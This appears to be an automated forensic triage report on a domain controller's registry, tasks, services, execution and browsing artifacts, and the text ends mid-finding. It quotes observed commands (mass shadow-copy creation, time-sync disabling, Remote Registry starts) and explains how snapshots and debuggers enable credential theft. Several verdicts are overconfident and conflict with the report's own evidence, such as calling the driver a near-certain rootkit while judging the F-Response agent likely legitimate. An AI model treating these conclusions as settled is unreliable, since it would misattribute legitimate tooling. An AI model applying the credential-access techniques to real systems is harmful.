Automated Triage 2026-06-13

Nothing suspicious was detected in the Run/RunOnce registry data for BASE-DC.

Data Gaps

• Very low autorun volume: Only 2 entries (row 1 and row 3) were recovered for a Domain Controller, which is insufficient to rule out machine-wide or user-level persistence. This may indicate limited collection scope or that the attacker used alternative persistence mechanisms (e.g., Services, Scheduled Tasks, WMI Event Subscriptions, Logon Scripts).
• No user-scoped (HKCU) coverage: Both entries are under HKEY_LOCAL_MACHINE; no user-specific Run/RunOnce keys were captured. The empty username field offers no attribution, and it is unclear whether HKCU keys were absent or simply not collected.
• Narrow time window: The observed timestamps span only 2018-04-25 to 2018-05-08. Modifications, additions, or deletions outside this range cannot be assessed from this artifact alone.
• No tamper detection: This artifact cannot reveal whether registry entries were cleared or deleted by an attacker. A timeline analysis or comparison against a known-good baseline would be needed to identify such anti-forensic activity.
• Missing corroborating fields: The records lack fields such as last-modified registry timestamps (other than the captured ts), security descriptors, or user SIDs that could help identify unauthorized modifications.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] VSS shadow-copy creation task running as System and authored by domain user shieldbase\rsydow-a present in both modern and legacy Task Scheduler stores.
• Evidence: row_ref 4 (task_path: C:\Windows\system32\tasks\ShadowCopyVolume{1d1e6558-0000-0000-0000-501f00000000}, author: shieldbase\rsydow-a, user_id: System, command: C:\Windows\system32\vssadmin.exe, arguments: Create Shadow /AutoRetry=15 /For=\\?\Volume{1d1e6558-0000-0000-0000-501f00000000}\); row_ref 367 (task_path: C:\Windows\tasks\ShadowCopyVolume{1d1e6558-0000-0000-0000-501f00000000}.job, author: shieldbase\rsydow-a, same command/arguments).
• Why it matters: On a Domain Controller, unauthorized VSS snapshots are a common precursor to NTDS.dit extraction, credential harvesting, or ransomware staging. A domain user authoring a SYSTEM-privileged shadow-copy task is atypical and high-risk.
• Alternative explanation: A systems administrator or backup tool may have legitimately created the task for volume backup.
• Verify: Correlate with Security EVTX logon events for shieldbase\rsydow-a, review VSS operational events (Event ID 8225/8224), and confirm whether this task matches any authorized backup solution.

Data Gaps

• Trigger details (on-boot, on-logon, schedule) are absent for nearly all tasks, preventing assessment of persistence timing or trigger-based anomalies.
• last_run_date is empty for every record, so historical execution of any task—including the shadow-copy task—cannot be determined from this artifact alone.
• Creation/modification dates are missing for the majority of tasks (including the suspicious shadow-copy task), limiting timeline correlation.
• No encoded commands, PowerShell, or non-standard binaries were observed in the task actions, but this artifact alone cannot rule out other persistence or execution mechanisms.
• The legacy .job file (row_ref 367) lacks parseable metadata (date, user_id, run level), leaving its precise origin and registration method unclear.
• Correlation with Windows Security Event Log (Event IDs 4698/4702) and TaskScheduler Operational logs is needed to confirm when tasks were registered, modified, or deleted.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unattributed kernel device driver named "mnemosyne" registered from C:\windows\Mnemosyne.sys.
• Evidence: row_ref 205, ts 2018-09-07T20:30:59.898458+00:00, name=mnemosyne, displayname=mnemosyne, imagepath=\??\C:\windows\Mnemosyne.sys, type=Kernel Device Driver (0x1), start=Manual (3), description=(blank), _dedup_comment=Deduplicated 1 records with matching event data and different timestamp/ID.
• Why it matters: A non-standard kernel driver in the Windows root directory with a mythological name, no vendor description, and a single recent registry record is a hallmark of rootkits or custom malicious tooling that could enable persistent kernel-level compromise and credential access.
• Alternative explanation: None plausible; no legitimate Windows or common third-party hardware driver uses this name and path.
• Verify: Obtain the SHA-256 hash and digital signature of C:\windows\Mnemosyne.sys, and examine a memory dump or live kernel module list to confirm whether the driver is loaded.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start service "F-Response Subject" running as LocalSystem with a hardcoded outbound connection to an internal host on TCP/5682.
• Evidence: row_ref 117, ts 2018-09-06T22:11:15.418865+00:00, name=F-Response Subject, imagepath=C:\windows\subject_srv.exe, imagepath_args="-s ""base-hunt.shieldbase.lan:5682"" -l 3262 -v ""F-Response Subject"" -k ""155522845""", objectname=LocalSystem, start=Auto Start (2), type=Service - Own Process (0x10).
• Why it matters: The service provides persistent SYSTEM-level execution and an encrypted backchannel to an internal server, which is functionally equivalent to a remote-access Trojan if deployed by an adversary.
• Alternative explanation: This is likely the legitimate F-Response forensic acquisition agent (note the target hostname base-hunt.shieldbase.lan and the cdrive system naming convention), but this is not confirmed in the provided investigation context.
• Verify: Confirm with the investigation team whether F-Response was authorized on this host; if authorized, document it as forensic tooling, otherwise capture the binary and network logs immediately.

Data Gaps

• Service installation history missing: No EVTX Event ID 7045 records are present to determine exactly when the mnemosyne driver or the F-Response service were first registered or by which account.
• Large timeline void: The artifact spans 2018-04-25 to 2018-09-07 but contains virtually no intermediate service-change events; deduplication removed 1,579 rows, potentially obscuring historical state transitions (e.g., a service changing from Manual to Auto Start).
• Binary provenance unverifiable: File system metadata (MFT, $LogFile), PE signatures, and compiler timestamps for C:\windows\Mnemosyne.sys and C:\windows\subject_srv.exe are not available in this artifact, so their authenticity and origin cannot be assessed.
• Runtime state unknown: Memory analysis is unavailable, so it cannot be determined whether the mnemosyne driver is currently loaded, or whether the F-Response service has active or recent network connections.
• Correlating artifacts absent: Scheduled Tasks, Amcache, ShimCache, and Windows Defender/ Sysmon execution logs are not included, limiting the ability to identify how these services were introduced or what other tools may have run in proximity to their installation.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unknown executable subject_srv.exe present in the Windows directory.
• Evidence: row_ref 1, last_modified 2018-04-10T19:29:48+00:00, path C:\windows\subject_srv.exe.
• Why it matters: A non-standard binary in a sensitive system directory on a Domain Controller is a strong indicator of a dropped payload or unauthorized persistence.
• Alternative explanation: Custom administrative utility intentionally placed by an administrator.
• Verify: Obtain the file hash, submit for analysis, and search Prefetch/Amcache/EVTX (Event IDs 4688, 4663) for execution evidence around 2018-04-10.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sysinternals Autorunsc.exe found in the Windows root directory.
• Evidence: row_ref 59, last_modified 2018-08-15T17:10:22.681261, path C:\Windows\Autorunsc.exe.
• Why it matters: Attackers commonly use Autoruns to discover or establish persistence; placing the tool in C:\Windows deviates from standard administrative practice and may indicate on-disk reconnaissance.
• Alternative explanation: Administrator copied the utility to a standard path for convenience.
• Verify: Check process creation logs (EVTX 4688) and surrounding Prefetch/Amcache entries for execution around mid-August 2018.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Extensive Windows Driver Kit (WDK) and kernel debugging tools installed on the Domain Controller.
• Evidence: row_refs 273–345, including C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe (row_ref 329, 2018-04-11T11:56:44+00:00), gflags.exe (row_ref 330), and C:\Users\Administrator\Downloads\wdksetup.exe (row_ref 345, 2018-05-18T21:57:20.107330+00:00).
• Why it matters: Kernel debuggers and driver development utilities are atypical on a production DC and could facilitate privilege escalation, driver-based persistence, or rootkit activity.
• Alternative explanation: The host is a lab or hybrid development server.
• Verify: Audit software installation logs (MSI/Event ID 11707/1033) and determine if the WDK installation was authorized.

IOC Status

No explicit IOCs were provided in the investigation context.

Data Gaps

• Shimcache records file presence and modification timestamps but does not confirm execution; Prefetch, Amcache, and Windows Event Logs (4688, 4663) are required to verify whether subject_srv.exe, Autorunsc.exe, or WDK tools were actually launched.
• Command-line arguments and parent process information are absent from Shimcache, preventing assessment of intent or execution context.
• The dataset is deduplicated (1,785 duplicate rows removed), so earlier instances of files that may have been deleted are not visible, potentially hiding attacker tool staging.
• No evidence of artifact tampering or log clearing is observable in Shimcache alone; an absence of expected event logs cannot be determined from this artifact.
• Shimcache does not attribute entries to a specific user session, limiting lateral-movement or privilege-escalation analysis.

Findings

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Windows Driver Kit (WDK) and native debuggers are installed on the Domain Controller, providing built-in capability for credential access (e.g., LSASS memory dumping).
• Evidence: WDK package entries with install_date 2018-05-18T00:00:00+00:00 (row_ref 587, 588) and 2018-05-18T22:40:12+00:00 (row_ref 615); debugger binaries including cdb.exe (row_ref 48–51), kd.exe (row_ref 165–168), ntsd.exe (row_ref 259–262), and windbg.exe (row_ref 543–546) located under c:\program files (x86)\windows kits\10\debuggers\.
• Why it matters: These signed Microsoft tools can attach to LSASS or kernel memory to extract credentials without requiring attacker-supplied malware, lowering the barrier for credential access if an adversary gains administrative privileges.
• Alternative explanation: The tools were likely installed legitimately for driver development, troubleshooting, or as a dependency of another software package.
• Verify: Cross-reference Prefetch, Shimcache, and Windows Security Event ID 4688 / Sysmon logs around the suspected incident window to confirm whether any of these debuggers were executed, attached to LSASS, or used to write memory dumps.

Data Gaps

• Execution cannot be confirmed from this artifact alone. Amcache inventories files and install dates but does not record execution time, command-line arguments, parent process, or user context. Prefetch, Shimcache, ETW, and Event Logs are required to determine if any inventoried binaries were actually run.
• No explicit incident timeframe was provided. Without a suspected compromise window, temporal correlation is limited to the coarse install date clustering observed (e.g., 2018-05-18 WDK installation).
• Threat intel correlation was not performed. SHA-1 hashes are present (e.g., debuggers, WDK components, McAfee, VMware Tools), but this analysis cannot confirm or deny whether any hash matches known malicious tooling.
• Negative evidence is not conclusive. Absence of Mimikatz, PsExec, or other classic intrusion tooling in this Amcache snapshot does not rule out their use; they may have been executed from non-standard paths, run in memory, deleted, or simply not inventoried here.
• Metadata gaps limit anomaly detection. Numerous legitimate WDK and VMware binaries have blank publisher, version, or product_name fields (e.g., row_ref 55, 138, 209, 317, 432), which is common for internal build artifacts but prevents strong confidence in metadata-based outlier detection.
• Log tampering cannot be assessed. Amcache does not contain evidence of event log clearing, antiforensics, or timeline gaps; those assessments require examining the Windows Event Log files, USN journal, and MFT directly.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User account rsydow-a executed an interactive GUI session on the Domain Controller involving multiple system-administration and LOLBin tools—rundll32.exe, PowerShell, regedit.exe, and services.msc—clustered across 2018-08-16/17, with an additional services.msc launch on 2018-09-07, consistent with hands-on post-exploitation activity.
• Evidence: rundll32.exe launched 2018-08-16T21:48:37.382999+00:00 (row_ref 30, 1 execution, 0 focus duration); powershell.exe launched 2018-08-16T22:10:54.309000+00:00 (row_ref 21, 7 executions, 92 focus counts, 20,724,431 ms focus duration); regedit.exe launched 2018-08-17T00:34:12.549999+00:00 (row_ref 27, 2 executions, 4 focus counts); services.msc launched 2018-09-07T20:30:46.681000+00:00 (row_ref 8, 5 executions). Explorer.exe was also launched 2018-08-16T22:32:35.331999+00:00 (row_ref 14) during the same window, confirming an active interactive desktop session.
• Why it matters: Clustered interactive use of LOLBins (rundll32), script hosts (PowerShell), and system management consoles on a DC by a named user account is a hallmark of post-exploitation reconnaissance, privilege escalation attempts, or persistence staging.
• Alternative explanation: The account may be a systems administrator performing legitimate maintenance; however, the combination of rundll32 via Explorer and an extended PowerShell focus duration (>5 hours aggregated) is atypical for routine GUI-driven administrative work.
• Verify: Correlate with Security Event Log event IDs 4624/4625/4634 for rsydow-a interactive logon sessions on the evenings of 2018-08-16 and 2018-09-07, and ingest PowerShell operational/script-block logs to identify executed commands.

Data Gaps

• Execution blind spot: UserAssist records only Explorer/GUI-launched binaries. Command-line, service, scheduled-task, WMI, and remote (e.g., PSExec, WinRM) execution are not captured, leaving no visibility into potential command-line invocation of credential-access tools such as Mimikatz or Procdump.
• Placeholder timestamps limit timeline fidelity: 39 of 86 records (45 %) carry the null timestamp 1601-01-01T00:00:00+00:00 (e.g., row_refs 6, 10, 38), preventing precise dating of historical activity, including high-focus-count cmd.exe and dsa.msc usage by rsydow-a.
• Privilege context unknown: No elevation or UAC data is present in this artifact. It cannot be determined whether rsydow-a’s executions ran with standard-user or administrative rights.
• Missing user profiles: Only two user hives (Administrator and rsydow-a) appear in the artifact. In a multi-host enterprise environment, the absence of other expected interactive admin or service-account profiles may indicate limited interactive logon, profile cleanup, or unmounted hives.
• No direct evidence of tampering: While the artifact itself shows no obvious truncation or deletion patterns, UserAssist values are user-modifiable and can be cleared; a lack of records for other time periods or accounts cannot be confirmed as a true negative without comparing against expected baseline profiles and registry transaction logs.
• Lateral movement and exfiltration: This artifact provides no network, authentication, or file-access telemetry; lateral movement and data staging cannot be assessed from UserAssist alone.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Administrator account on the Domain Controller retrieved archives and executables from an internal host (10.10.10.10) via obfuscated hex-path directories using Internet Explorer.
• Evidence: row 23 (2018-05-10T20:39:50.378576+00:00, url http://10.10.10.10/1307d065/), row 30 (2018-05-10T20:40:08.659748+00:00, url http://10.10.10.10/1307d065/PDO-Users.yaml), row 29 (2018-05-18T21:57:19.560495+00:00, url http://10.10.10.10/f9ab33c2/wdksetup.exe), row 26 (2018-05-18T21:57:19.638525+00:00, url http://10.10.10.10/f9ab33c2/), row 25 (2018-05-18T22:05:45.015902+00:00, url http://10.10.10.10/be5310f6), row 27 (2018-05-18T22:19:55.508799+00:00, url http://10.10.10.10/be5310f6/WDK.zip.MD5), row 24 (2018-05-18T22:19:58.555943+00:00, url http://10.10.10.10/be5310f6/WDK.zip), row 28 (2018-05-18T22:19:58.587164+00:00, url http://10.10.10.10/be5310f6/).
• Why it matters: A DC browsing to a raw internal IP with randomized hex directory names to download executables, compressed archives, and YAML user files is highly anomalous and consistent with unauthorized tool staging or attacker-driven data collection.
• Alternative explanation: 10.10.10.10 could be an undocumented internal software repository or staging server.
• Verify: Identify the asset owner of 10.10.10.10 via DHCP/DNS; perform malware analysis on downloaded WDK.zip and wdksetup.exe; review network/proxy logs for related sessions.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Downloaded WDK.zip archive was accessed locally in the Administrator Downloads folder within seconds of the HTTP retrieval, confirming successful payload delivery.
• Evidence: row 24 (2018-05-18T22:19:58.555943+00:00, http://10.10.10.10/be5310f6/WDK.zip, username Administrator) and row 21 (2018-05-18T22:20:03.071899+00:00, file:///C:/Users/Administrator/Downloads/WDK.zip, username Administrator).
• Why it matters: The 5-second interval between remote download and local file access confirms the archive landed in the privileged Administrator profile on the DC, where it could be extracted and executed.
• Alternative explanation: Administrator manually downloaded a legitimate Windows Driver Kit.
• Verify: Forensically acquire C:\Users\Administrator\Downloads\WDK.zip; compare its hash to the MD5 retrieved at row 27; scan contents for malicious drivers or post-exploitation tools.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Reconnaissance-oriented local file browsing of account inventories, workstation lists, audit policies, and security logs by both Administrator and rsydow-a.
• Evidence: row 20 (2018-05-10T20:34:14.117620+00:00, file:///C:/Users/Administrator/Desktop/ShieldbaseUserAccounts.txt, Administrator), row 3 (2018-07-06T01:45:01.409742+00:00, file:///C:/Users/rsydow-a/Documents/srl-workstations.txt), row 5 (2018-07-06T01:44:42.331860+00:00, file:///C:/Users/rsydow-a/Documents/srl-all.txt), row 4 (2018-07-13T13:56:23.404779+00:00, file:///C:/Users/rsydow-a/Documents/audit-policy-from-default-GPO.txt), row 7 (2018-07-06T22:12:24.552420+00:00, file:///C:/Users/rsydow-a/Documents/srl-test_hunt-admin.txt), row 6 (2018-08-08T23:55:58.953497+00:00, file:///C:/Windows/System32/winevt/Logs/Archive-Security-2018-08-08-08-57-05-737.evtx). Notably, row 20 occurred approximately 5 minutes before the first 10.10.10.10 contact (row 23).
• Why it matters: Patterned access to user lists, workstation inventories, audit configurations, and archived security logs via browser is consistent with pre-attack reconnaissance or data staging.
• Alternative explanation: rsydow-a may be a legitimate security analyst (filenames reference "hunt" and "audit"); Administrator may have been performing routine account reviews.
• Verify: Validate rsydow-a's authorized role; correlate access times with authentication and process creation logs; inspect whether these files were attacker-created or legitimate admin documents.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Direct browser access to a SYSVOL-based Group Policy startup script.
• Evidence: row 22 (2018-05-14T02:58:16.895504+00:00, file://shieldbase.lan/sysvol/shieldbase.lan/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Machine/Scripts/Startup/InstallOffice365.txt, Administrator).
• Why it matters: Inspection of GPO startup scripts can precede or accompany persistence modifications in a domain environment.
• Alternative explanation: Routine administrative review of domain logon scripts.
• Verify: Review GPO change history for the referenced policy; compare current and baseline versions of InstallOffice365.txt.

Data Gaps

• Sparse history: Only 35 IE records across 4 months is unusually low for a production DC; this may indicate history clearing, private browsing, limited collection scope, or predominant use of non-IE browsers not captured here.
• Missing correlation fields: title, host, visit_type, typed, hidden, and from_url are entirely empty across all records, preventing referer chain analysis, distinction between typed vs. linked URLs, and site categorization.
• No HTTPS or C2 indicators: This artifact captures no HTTPS traffic, paste sites, or known malicious domains; absence of these does not rule out compromise via other channels.
• Execution unknown: Browser history cannot confirm whether downloaded files (wdksetup.exe, WDK.zip) were executed; execution artifacts (Prefetch, ShimCache, EDR telemetry) are required.
• Host identity: The purpose and legitimacy of internal host 10.10.10.10 cannot be determined from this artifact alone; network/DHCP/DNS and asset inventory are needed.
• rsydow-a context: No authentication or process data is present to determine if the rsydow-a file access sessions were interactive user sessions or attacker-abused credentials.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Administrator account on the Domain Controller downloaded an executable and a ZIP archive from an internal IP hosting randomized hex path segments over unencrypted HTTP.
• Evidence:
• row_ref 1, ts_end 2018-05-18T21:57:38.243967+00:00, browser iexplore, path C:\Users\Administrator\Downloads\wdksetup.exe, url http://10.10.10.10/f9ab33c2/wdksetup.exe, username Administrator.
• row_ref 2, ts_end 2018-05-18T22:20:08.431698+00:00, browser iexplore, path C:\Users\Administrator\Downloads\WDK.zip, url http://10.10.10.10/be5310f6/WDK.zip, username Administrator.
• Why it matters: Domain Controllers should not be used for interactive web browsing or downloading executables/archives; coupling that with non-standard randomized URL directories on an internal host (10.10.10.10) is highly anomalous and consistent with an adversary staging tooling or payloads on a high-value target.
• Alternative explanation: A legitimate administrator may have manually downloaded the Windows Driver Kit from an internal file server that uses hex-encoded folder names.
• Verify: Inspect Prefetch/Amcache for execution of wdksetup.exe; carve/analyze WDK.zip contents; review proxy/web logs for 10.10.10.10; search other hosts for downloads from these same URL paths.

IOC Status

No explicit IOCs were provided in the investigation context.

Data Gaps

• ts_start is empty for both records, so the exact download initiation time is unknown.
• size and state are empty; cannot confirm whether downloads completed successfully or what the expected file sizes were.
• No execution artifacts (Prefetch, Amcache, Sysmon, EDR telemetry) are included, so it is unknown whether the downloaded files were launched or extracted.
• File contents of WDK.zip cannot be determined from this artifact alone.
• The dataset covers only a 22-minute window on 2018-05-18; absence of earlier or later browser activity may reflect limited collection rather than no activity.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Mass Volume Shadow Copy creation, resizing, and enumeration executed across the majority of the fleet via WMI and Invoke-Command.
• Evidence: wmic /node:172.16.6.13 shadowcopy call create volume=C:\ (row 66), wmic /node:172.16.6.12 shadowcopy call create volume=C:\ (row 70), wmic /node:172.16.6.11 shadowcopy call create volume=C:\ (row 74), wmic /node:172.16.6.14 shadowcopy call create volume=C:\ (row 81), wmic /node:172.16.7.11 shadowcopy call create volume=C:\ (row 86), wmic /node:172.16.7.15 shadowcopy call create volume=C:\ (row 94), wmic /node:172.16.6.15 shadowcopy call create volume=C:\ (row 212), wmic /node:172.16.7.12 shadowcopy call create volume=C:\ (row 214), Invoke-Command -command {vssadmin resize shadowstorage...} -ComputerName base-rd-03 (row 58), and similar patterns on base-rd-01, base-rd-02, base-rd-04, base-rd-05, base-rd-06, base-wkstn-01 through base-wkstn-06 (rows 57–59, 67–80, 83, 92–93, 200–211). Extensive enumeration via wmic ... shadowcopy list brief and Get-CimInstance win32_ShadowCopy repeated throughout (e.g., rows 65, 71, 75, 82, 87, 95, 110–114, 117–120, 128, 130, 168, 220–223, 250–254, 277–283, 284, 285, 286, 291). All commands attributed to rsydow-a with mtime 2018-09-07T16:44:45.601460+00:00.
• Why it matters: Large-scale VSS manipulation is a hallmark of ransomware staging, volume-level data theft, or anti-forensic snapshot deletion. The breadth of hosts targeted indicates compromise of a highly privileged account or unauthorized administrative action.
• Alternative explanation: An incident responder intentionally creating snapshots before remediation.
• Verify: Inspect Windows System event logs (VSS 8224, 8230) and vssadmin list shadows outputs on the targeted hosts to determine if snapshots were created, exported, or deleted shortly after these commands.

• **[SEVERITY: HIGH] [CONFIDENCE: HIGH] VMware time synchronization mass-disabled across all hosts listed in srl-all.txt.**
• Evidence: Invoke-Command -ComputerName $computer -Command {& 'C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe' timesync disable} (row 194), preceded by status checks (rows 193, 195). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
• Why it matters: Disabling VM time synchronization is a known anti-forensic technique to desynchronize logs across hosts, complicate timeline analysis, and facilitate Kerberos ticket attacks (e.g., golden ticket) by allowing clock skew.
• Alternative explanation: Extremely rare legitimate troubleshooting for time-drift issues in a virtual environment.
• Verify: Check current time sync state on hosts; review VMware Tools logs; correlate with subsequent Kerberos pre-authentication failures (Event ID 4771) or anomalous TGT requests.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Critical servers remotely rebooted without documented maintenance context.
• Evidence: invoke-command -command {Restart-Computer} -computer base-mail (row 247), Restart-Computer -ComputerName base-file (rows 287–288). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
• Why it matters: Rebooting a file server and mail server during an active compromise window can disrupt evidence collection, clear volatile memory, or be part of a destructive attack.
• Alternative explanation: Emergency patching or outage recovery.
• Verify: Validate against change-control tickets and inspect Event ID 1074/6008 logs on base-mail and base-file for shutdown reason and initiating user context.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Remote Registry service enabled and started on multiple hosts.
• Evidence: start-service remoteregistry via Invoke-Command (rows 30–31, 35), local start-service remoteregistry during PSSession to base-rd-01 (rows 156, 158), and get-service remoteregistry checks (rows 29, 32, 34, 138, 142, 156). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
• Why it matters: Remote Registry is frequently enabled by attackers to facilitate remote configuration changes, persistence, and credential harvesting (e.g., dumping SAM/SECURITY hives).
• Alternative explanation: Legitimate administrative task for remote system management or Group Policy troubleshooting.
• Verify: Audit Security event logs for Remote Registry access (Event ID 5145) and review registry changes on affected systems around this timeframe.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Security and Sysmon event logs remotely queried across multiple hosts, suggesting reconnaissance of logging coverage.
• Evidence: Invoke-Command -command {get-winevent -LogName Security -oldest -maxevents 1} -ComputerName base-rd-03 (row 121), base-rd-04 (row 122), base-rd-01 (row 123), base-wkstn-01 (row 124), base-wkstn-05 (row 165), base-rd-03 again (rows 169, 173, 174). Sysmon queried on base-wkstn-05: Get-WinEvent -filterhashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} ... (row 131). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
• Why it matters: Attackers often probe log availability before clearing evidence or adjusting tradecraft to evade detection.
• Alternative explanation: Incident responders verifying centralized log collection.
• Verify: Cross-reference with authorized IR playbooks or SOC tickets; check if Clear-EventLog, wevtutil cl, or suspicious Event ID 1102/104 entries follow these queries.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Hibernation enabled and pagefile inspected on a remote workstation, consistent with memory-credential staging.
• Evidence: During an Enter-PSSession to base-wkstn-05: powercfg.exe /h on (row 106), Get-Childitem c:\pagefile.sys (row 144), and Get-Childitem -attributes hidden c:\ on base-wkstn-05, base-wkstn-01, base-rd-01, and base-rd-04 (rows 147–150). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
• Why it matters: Enabling hibernation creates hiberfil.sys, which can contain process memory and credential material; inspecting pagefiles and hidden files is consistent with credential-access or data-staging behavior.
• Alternative explanation: DFIR analyst collecting memory artifacts.
• Verify: Check for existence of hiberfil.sys on base-wkstn-05; determine if memory dumps or pagefile copies were exfiltrated.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Google Update directories renamed and update services manipulated across workstations.
• Evidence: Invoke-Command ... {Rename-Item 'C:\Program Files (x86)\Google\Update-DISABLED' 'C:\Program Files (x86)\Google\Update'} (row 26), Start-Service gupdate (rows 30–31, 33), Start-Service gupdatem (row 35). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
• Why it matters: Manipulating auto-update mechanisms can prevent security patches or maintain a stable environment for persistent malware.
• Alternative explanation: Re-enabling Google Update after a prior disablement.
• Verify: Review change-management records; inspect C:\Program Files (x86)\Google\Update for unauthorized binaries.

Data Gaps

• No per-command timestamps: All 291 records share the identical mtime (2018-09-07T16:44:45.601460+00:00), which is the file modification time of the PSReadLine history file, not individual command execution times. While the order column establishes sequence, inter-command timing and exact execution windows are unknown.
• No command output or status: The history records input only; it is impossible to determine if remote commands succeeded, failed, or what data they returned.
• Authorization context missing: There is no evidence in this artifact confirming whether rsydow-a is a legitimate incident-response account or a compromised identity. Correlation with HR/identity records and privileged-access management logs is required.
• Host list contents unknown: The files srl-all.txt, srl-workstations.txt, and srl-test_hunt-admin.txt are referenced but their contents are not provided, preventing full scoping of the target list.
• Absence of direct credential-access tooling: No Mimikatz-style commands, encoded payloads, or known credential-dumping binaries were observed in this history; however, the remote VSS and hibernation/pagefile activity may indicate credential-access activity performed via other means.
• Corroborating artifacts needed: Precise triage requires correlated Windows Security Event Logs (4624, 4648, 4672, 4697), PowerShell operational logs (Event IDs 4103/4104), WMI-Activity logs, Sysmon process creation events on target hosts, and the contents of the ConsoleHost_history.txt file from other systems (especially base-hunt, base-admin, and base-rd-03).

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Account-enumeration file named "ShieldbaseUserAccounts.txt" resided on the Administrator desktop and was opened in Notepad.
• Evidence: Row 32 (C:\Users\Administrator\Desktop\ShieldbaseUserAccounts.txt, target mtime 2018-04-26T02:02:06.556459+00:00); Row 34 (Notepad 64-bit opening the same file, lnk_ctime 2018-04-26T02:02:06.458036+00:00, target mtime 2018-04-26T02:02:06.556459+00:00).
• Why it matters: A file explicitly named as a domain user account list on the DC Administrator desktop is strong evidence of credential harvesting to enable lateral movement or privilege escalation.
• Alternative explanation: Legitimate administrator exporting accounts for an audit, migration, or inventory.
• Verify: Recover the file from disk or MFT to confirm contents; review Security event logs (Event IDs 4661/4663/4670) around 2018-04-26T02:02:06Z for account enumeration activity.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Administrator account accessed Group Policy startup script folders in SYSVOL for two domain GPOs via Windows Explorer.
• Evidence: Row 39 (\\SHIELDBASE.LAN\SYSVOL\shieldbase.lan\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\Startup, target mtime 2018-05-14T02:58:16.801813+00:00); Row 42 (\{FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7}\Machine\Scripts\Startup, target mtime 2018-05-14T03:08:55.521141+00:00).
• Why it matters: GPO startup scripts are a common AD persistence mechanism; Explorer access to these SYSVOL paths on the DC may indicate inspection, deployment, or modification of malicious scripts.
• Alternative explanation: Routine Group Policy administration or legitimate script updates.
• Verify: Extract and hash the scripts in these exact SYSVOL paths; review Directory Service event logs for GPO modification events around 2018-05-14.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User rsydow-a accessed an archived Security event log via Quick Access.
• Evidence: Row 6 (C:\Windows\System32\winevt\Logs\Archive-Security-2018-08-08-08-57-05-737.evtx, username rsydow-a, lnk_mtime 2018-08-08T23:55:58.953497+00:00).
• Why it matters: A non-system account accessing archived security logs may indicate log review to identify detection gaps, cover tracks, or gather operational intelligence.
• Alternative explanation: IT staff performing routine log review, disk cleanup, or incident response.
• Verify: Confirm rsydow-a group membership and privileges; check Object Access/EVTX events for file access on 2018-08-08; correlate with other log clearing or export activity.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] User rsydow-a repeatedly accessed the remote administrative share \\BASE-FILE\SRL-ADMIN$ from the Domain Controller.
• Evidence: Rows 2, 16, 18–26, and 28 (lnk_net_name \\BASE-FILE\SRL-ADMIN$, username rsydow-a), accessing paths such as Proxy\Asgard CA Cert and AD\Google\policy_templates via Windows Explorer and Quick Access.
• Why it matters: Repeated access to a remote hidden administrative share from the DC can reflect lateral movement, remote tool staging, or data collection between hosts.
• Alternative explanation: Legitimate use of a dedicated IT software or policy distribution share.
• Verify: Correlate with SMB session/login events on BASE-FILE; review rsydow-a privilege level and group membership; inspect the accessed remote directories for unauthorized content.

Data Gaps

• No evidence of privilege escalation exploits, Mimikatz-like tooling, or command-line execution appears in Jump Lists; this artifact only captures Windows Explorer and Notepad file/folder access, so malicious execution cannot be confirmed or ruled out here.
• Ten entries show 1601-01-01T00:00:00+00:00 target MAC times, indicating the target files were inaccessible, deleted, or resided on offline volumes, preventing full timeline reconstruction for those items.
• Jump Lists cannot distinguish read-only browsing from file modification or script deployment; the SYSVOL and .txt access may have been purely viewing activity.
• Coverage is limited to two user profiles (Administrator and rsydow-a); absence of Jump Lists for other accounts or time windows may indicate user profile deletion, Jump List clearing, or simply lack of activity, but this cannot be assessed without examining the full disk image.
• Definitive assessment requires cross-referencing with Security Event Logs, SMB session logs on BASE-FILE, Prefetch/Amcache for execution evidence, MFT/USN for file content, and Group Policy change events.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Administrator account recorded Internet Explorer launched with the -private argument in Custom Jump Lists on the Domain Controller.
• Evidence: row_ref 4, username Administrator, lnk_arguments -private, lnk_mtime 2018-06-01T19:32:36.091639+00:00, local_base_path C:\Program Files\Internet Explorer\iexplore.exe, lnk_path C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\28c8b86deab549a1.customDestination....
• Why it matters: Private browsing mode can be used as a simple defense-evasion technique to avoid retaining history, cache, or credentials during unauthorized browsing, tool research, or web-based command-and-control activity.
• Alternative explanation: Administrator may have legitimately used InPrivate Browsing to test a web application or avoid caching session data on the server.
